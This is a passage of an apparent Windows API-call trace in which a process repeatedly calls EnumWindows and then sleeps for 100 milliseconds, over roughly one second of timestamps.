(lpEnumFunc=0x423dd0, lParam=0x410000) [0173.739] Sleep (dwMilliseconds=0x64) [0173.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.741] Sleep (dwMilliseconds=0x64) [0173.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.743] Sleep (dwMilliseconds=0x64) [0173.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.744] Sleep (dwMilliseconds=0x64) [0173.746] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.746] Sleep (dwMilliseconds=0x64) [0173.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.747] Sleep (dwMilliseconds=0x64) [0173.748] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.749] Sleep (dwMilliseconds=0x64) [0173.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.750] Sleep (dwMilliseconds=0x64) [0173.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.752] Sleep (dwMilliseconds=0x64) [0173.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.753] Sleep (dwMilliseconds=0x64) [0173.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.755] Sleep (dwMilliseconds=0x64) [0173.757] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.757] Sleep (dwMilliseconds=0x64) [0173.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.759] Sleep (dwMilliseconds=0x64) [0173.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.765] Sleep (dwMilliseconds=0x64) [0173.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.766] Sleep (dwMilliseconds=0x64) [0173.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.768] Sleep (dwMilliseconds=0x64) [0173.769] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.769] Sleep (dwMilliseconds=0x64) [0173.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.771] Sleep (dwMilliseconds=0x64) [0173.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.772] Sleep (dwMilliseconds=0x64) [0173.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.774] Sleep (dwMilliseconds=0x64) [0173.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.775] Sleep (dwMilliseconds=0x64) [0173.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.777] Sleep (dwMilliseconds=0x64) [0173.778] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.779] Sleep (dwMilliseconds=0x64) [0173.780] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.780] Sleep (dwMilliseconds=0x64) [0173.783] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.783] Sleep (dwMilliseconds=0x64) [0173.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.785] Sleep (dwMilliseconds=0x64) [0173.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.786] Sleep (dwMilliseconds=0x64) [0173.787] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.788] Sleep (dwMilliseconds=0x64) [0173.789] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.789] Sleep (dwMilliseconds=0x64) [0173.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.791] Sleep (dwMilliseconds=0x64) [0173.792] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.792] Sleep (dwMilliseconds=0x64) [0173.794] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.794] Sleep (dwMilliseconds=0x64) [0173.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.796] Sleep (dwMilliseconds=0x64) [0173.797] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.797] Sleep (dwMilliseconds=0x64) [0173.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.799] Sleep (dwMilliseconds=0x64) [0173.800] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.800] Sleep (dwMilliseconds=0x64) [0173.801] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.802] Sleep (dwMilliseconds=0x64) [0173.803] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.803] Sleep (dwMilliseconds=0x64) [0173.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.805] Sleep (dwMilliseconds=0x64) [0173.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.806] Sleep (dwMilliseconds=0x64) [0173.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.808] Sleep (dwMilliseconds=0x64) [0173.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.810] Sleep (dwMilliseconds=0x64) [0173.811] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.812] Sleep (dwMilliseconds=0x64) [0173.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.813] Sleep (dwMilliseconds=0x64) [0173.814] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.815] Sleep (dwMilliseconds=0x64) [0173.816] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.816] Sleep (dwMilliseconds=0x64) [0173.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.818] Sleep (dwMilliseconds=0x64) [0173.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.819] Sleep (dwMilliseconds=0x64) [0173.821] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.821] Sleep (dwMilliseconds=0x64) [0173.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.823] Sleep (dwMilliseconds=0x64) [0173.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.824] Sleep (dwMilliseconds=0x64) [0173.825] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.826] Sleep (dwMilliseconds=0x64) [0173.827] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.827] Sleep (dwMilliseconds=0x64) [0173.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.829] Sleep (dwMilliseconds=0x64) [0173.830] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.830] Sleep (dwMilliseconds=0x64) [0173.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.832] Sleep (dwMilliseconds=0x64) [0173.833] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.834] Sleep (dwMilliseconds=0x64) [0173.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.835] Sleep (dwMilliseconds=0x64) [0173.838] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.838] Sleep (dwMilliseconds=0x64) [0173.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.840] Sleep (dwMilliseconds=0x64) [0173.842] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.842] Sleep (dwMilliseconds=0x64) [0173.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.844] Sleep (dwMilliseconds=0x64) [0173.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.845] Sleep (dwMilliseconds=0x64) [0173.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.847] Sleep (dwMilliseconds=0x64) [0173.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.848] Sleep (dwMilliseconds=0x64) [0173.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.851] Sleep (dwMilliseconds=0x64) [0173.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.853] Sleep (dwMilliseconds=0x64) [0173.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.855] Sleep (dwMilliseconds=0x64) [0173.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.857] Sleep (dwMilliseconds=0x64) [0173.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.858] Sleep (dwMilliseconds=0x64) [0173.860] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.860] Sleep (dwMilliseconds=0x64) [0173.862] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.862] Sleep (dwMilliseconds=0x64) [0173.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.864] Sleep (dwMilliseconds=0x64) [0173.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.865] Sleep (dwMilliseconds=0x64) [0173.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.867] Sleep (dwMilliseconds=0x64) [0173.868] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.869] Sleep (dwMilliseconds=0x64) [0173.870] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.870] Sleep (dwMilliseconds=0x64) [0173.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.872] Sleep (dwMilliseconds=0x64) [0173.874] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.874] Sleep (dwMilliseconds=0x64) [0173.875] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.876] Sleep (dwMilliseconds=0x64) [0173.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.877] Sleep (dwMilliseconds=0x64) [0173.878] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.879] Sleep (dwMilliseconds=0x64) [0173.880] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.880] Sleep (dwMilliseconds=0x64) [0173.881] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.882] Sleep (dwMilliseconds=0x64) [0173.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.883] Sleep (dwMilliseconds=0x64) [0173.884] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.885] Sleep (dwMilliseconds=0x64) [0173.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.886] Sleep (dwMilliseconds=0x64) [0173.894] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.894] Sleep (dwMilliseconds=0x64) [0173.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.897] Sleep (dwMilliseconds=0x64) [0173.898] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.899] Sleep (dwMilliseconds=0x64) [0173.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.900] Sleep (dwMilliseconds=0x64) [0173.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.902] Sleep (dwMilliseconds=0x64) [0173.904] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.904] Sleep (dwMilliseconds=0x64) [0173.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.906] Sleep (dwMilliseconds=0x64) [0173.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.989] Sleep (dwMilliseconds=0x64) [0173.991] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.992] Sleep (dwMilliseconds=0x64) [0173.998] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.998] Sleep (dwMilliseconds=0x64) [0173.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.000] Sleep (dwMilliseconds=0x64) [0174.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.040] Sleep (dwMilliseconds=0x64) [0174.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.042] Sleep (dwMilliseconds=0x64) [0174.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.044] Sleep (dwMilliseconds=0x64) [0174.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.046] Sleep (dwMilliseconds=0x64) [0174.048] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.048] Sleep (dwMilliseconds=0x64) [0174.050] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.050] Sleep (dwMilliseconds=0x64) [0174.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.052] Sleep (dwMilliseconds=0x64) [0174.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.053] Sleep (dwMilliseconds=0x64) [0174.054] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.055] Sleep (dwMilliseconds=0x64) [0174.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.137] Sleep (dwMilliseconds=0x64) [0174.138] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.138] Sleep (dwMilliseconds=0x64) [0174.141] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.141] Sleep (dwMilliseconds=0x64) [0174.143] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.143] Sleep (dwMilliseconds=0x64) [0174.145] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.145] Sleep (dwMilliseconds=0x64) [0174.146] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.147] Sleep (dwMilliseconds=0x64) [0174.148] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.148] Sleep (dwMilliseconds=0x64) [0174.149] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.150] Sleep (dwMilliseconds=0x64) [0174.151] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.151] Sleep (dwMilliseconds=0x64) [0174.238] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.238] Sleep (dwMilliseconds=0x64) [0174.307] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.307] Sleep (dwMilliseconds=0x64) [0174.309] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.309] Sleep (dwMilliseconds=0x64) [0174.311] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.311] Sleep (dwMilliseconds=0x64) [0174.312] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.312] Sleep (dwMilliseconds=0x64) [0174.314] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.314] Sleep (dwMilliseconds=0x64) [0174.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.316] Sleep (dwMilliseconds=0x64) [0174.317] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.317] Sleep (dwMilliseconds=0x64) [0174.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.319] Sleep (dwMilliseconds=0x64) [0174.320] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.320] Sleep (dwMilliseconds=0x64) [0174.322] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.322] Sleep (dwMilliseconds=0x64) [0174.323] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.323] Sleep (dwMilliseconds=0x64) [0174.325] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.325] Sleep (dwMilliseconds=0x64) [0174.326] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.326] Sleep (dwMilliseconds=0x64) [0174.328] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.328] Sleep (dwMilliseconds=0x64) [0174.330] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.330] Sleep (dwMilliseconds=0x64) [0174.347] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.347] Sleep (dwMilliseconds=0x64) [0174.366] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.366] Sleep (dwMilliseconds=0x64) [0174.368] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.368] Sleep (dwMilliseconds=0x64) [0174.369] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.369] Sleep (dwMilliseconds=0x64) [0174.375] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.375] Sleep (dwMilliseconds=0x64) [0174.379] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.379] Sleep (dwMilliseconds=0x64) [0174.382] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.383] Sleep (dwMilliseconds=0x64) [0174.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.401] Sleep (dwMilliseconds=0x64) [0174.491] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.491] Sleep (dwMilliseconds=0x64) [0174.505] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.505] Sleep (dwMilliseconds=0x64) [0174.507] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.507] Sleep (dwMilliseconds=0x64) [0174.508] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.508] Sleep (dwMilliseconds=0x64) [0174.510] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.510] Sleep (dwMilliseconds=0x64) [0174.511] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.511] Sleep (dwMilliseconds=0x64) [0174.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.513] Sleep (dwMilliseconds=0x64) [0174.514] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.514] Sleep (dwMilliseconds=0x64) [0174.516] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.516] Sleep (dwMilliseconds=0x64) [0174.517] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.517] Sleep (dwMilliseconds=0x64) [0174.519] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.519] Sleep (dwMilliseconds=0x64) [0174.521] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.521] Sleep (dwMilliseconds=0x64) [0174.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.522] Sleep (dwMilliseconds=0x64) [0174.524] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.524] Sleep (dwMilliseconds=0x64) [0174.525] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.525] Sleep (dwMilliseconds=0x64) [0174.527] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.527] Sleep (dwMilliseconds=0x64) [0174.529] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.529] Sleep (dwMilliseconds=0x64) [0174.531] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.531] Sleep (dwMilliseconds=0x64) [0174.533] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.533] Sleep (dwMilliseconds=0x64) [0174.534] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.534] Sleep (dwMilliseconds=0x64) [0174.536] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.536] Sleep (dwMilliseconds=0x64) [0174.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.537] Sleep (dwMilliseconds=0x64) [0174.539] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.539] Sleep (dwMilliseconds=0x64) [0174.540] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.540] Sleep (dwMilliseconds=0x64) [0174.542] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.542] Sleep (dwMilliseconds=0x64) [0174.544] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.544] Sleep (dwMilliseconds=0x64) [0174.546] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.546] Sleep (dwMilliseconds=0x64) [0174.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.547] Sleep (dwMilliseconds=0x64) [0174.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.549] Sleep (dwMilliseconds=0x64) [0174.550] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.551] Sleep (dwMilliseconds=0x64) [0174.553] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.553] Sleep (dwMilliseconds=0x64) [0174.554] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.554] Sleep (dwMilliseconds=0x64) [0174.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.556] Sleep (dwMilliseconds=0x64) [0174.558] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.559] Sleep (dwMilliseconds=0x64) [0174.634] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.634] Sleep (dwMilliseconds=0x64) [0174.635] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.636] Sleep (dwMilliseconds=0x64) [0174.637] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.637] Sleep (dwMilliseconds=0x64) [0174.639] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.639] Sleep (dwMilliseconds=0x64) [0174.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.641] Sleep (dwMilliseconds=0x64) [0174.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.642] Sleep (dwMilliseconds=0x64) [0174.645] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.645] Sleep (dwMilliseconds=0x64) [0174.646] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.647] Sleep (dwMilliseconds=0x64) [0174.648] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.648] Sleep (dwMilliseconds=0x64) [0174.650] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.651] Sleep (dwMilliseconds=0x64) [0174.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.653] Sleep (dwMilliseconds=0x64) [0174.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.654] Sleep (dwMilliseconds=0x64) [0174.656] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.656] Sleep (dwMilliseconds=0x64) [0174.657] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.657] Sleep (dwMilliseconds=0x64) [0174.659] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.659] Sleep (dwMilliseconds=0x64) [0174.660] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.660] Sleep (dwMilliseconds=0x64) [0174.662] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.662] Sleep (dwMilliseconds=0x64) [0174.664] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.664] Sleep (dwMilliseconds=0x64) [0174.666] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.666] Sleep (dwMilliseconds=0x64) [0174.667] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.667] Sleep (dwMilliseconds=0x64) [0174.669] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.669] Sleep (dwMilliseconds=0x64) [0174.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.670] Sleep (dwMilliseconds=0x64) [0174.672] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.672] Sleep (dwMilliseconds=0x64) [0174.673] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.673] Sleep (dwMilliseconds=0x64) [0174.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.675] Sleep (dwMilliseconds=0x64) [0174.676] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.676] Sleep (dwMilliseconds=0x64) [0174.678] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.678] Sleep (dwMilliseconds=0x64) [0174.679] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.679] Sleep (dwMilliseconds=0x64) [0174.681] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.681] Sleep (dwMilliseconds=0x64) [0174.682] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.682] Sleep (dwMilliseconds=0x64) [0174.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.685] Sleep (dwMilliseconds=0x64) [0174.687] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.687] Sleep (dwMilliseconds=0x64) [0174.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.688] Sleep (dwMilliseconds=0x64) [0174.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.690] Sleep (dwMilliseconds=0x64) [0174.692] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.692] Sleep (dwMilliseconds=0x64) [0174.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.693] Sleep (dwMilliseconds=0x64) [0174.695] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.695] Sleep (dwMilliseconds=0x64) [0174.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.696] Sleep (dwMilliseconds=0x64) [0174.698] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.698] Sleep (dwMilliseconds=0x64) [0174.699] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.699] Sleep (dwMilliseconds=0x64) [0174.701] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.702] Sleep (dwMilliseconds=0x64) [0174.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.703] Sleep (dwMilliseconds=0x64) [0174.705] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.705] Sleep (dwMilliseconds=0x64) [0174.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.707] Sleep (dwMilliseconds=0x64) [0174.708] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.708] Sleep (dwMilliseconds=0x64) [0174.710] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.710] Sleep (dwMilliseconds=0x64) [0174.711] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.711] Sleep (dwMilliseconds=0x64) [0174.713] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.713] Sleep (dwMilliseconds=0x64) [0174.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.714] Sleep (dwMilliseconds=0x64) [0174.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.716] Sleep (dwMilliseconds=0x64) [0174.717] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.717] Sleep (dwMilliseconds=0x64) [0174.719] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.719] Sleep (dwMilliseconds=0x64) [0174.720] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.720] Sleep (dwMilliseconds=0x64) [0174.722] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.722] Sleep (dwMilliseconds=0x64) [0174.797] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.797] Sleep (dwMilliseconds=0x64) [0174.799] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.799] Sleep (dwMilliseconds=0x64) [0174.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.802] Sleep (dwMilliseconds=0x64) [0174.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.806] Sleep (dwMilliseconds=0x64) [0174.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.807] Sleep (dwMilliseconds=0x64) [0174.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.809] Sleep (dwMilliseconds=0x64) [0174.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.811] Sleep (dwMilliseconds=0x64) [0174.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.813] Sleep (dwMilliseconds=0x64) [0174.814] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.814] Sleep (dwMilliseconds=0x64) [0174.816] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.816] Sleep (dwMilliseconds=0x64) [0174.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.818] Sleep (dwMilliseconds=0x64) [0174.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.819] Sleep (dwMilliseconds=0x64) [0174.821] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.821] Sleep (dwMilliseconds=0x64) [0174.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.822] Sleep (dwMilliseconds=0x64) [0174.824] 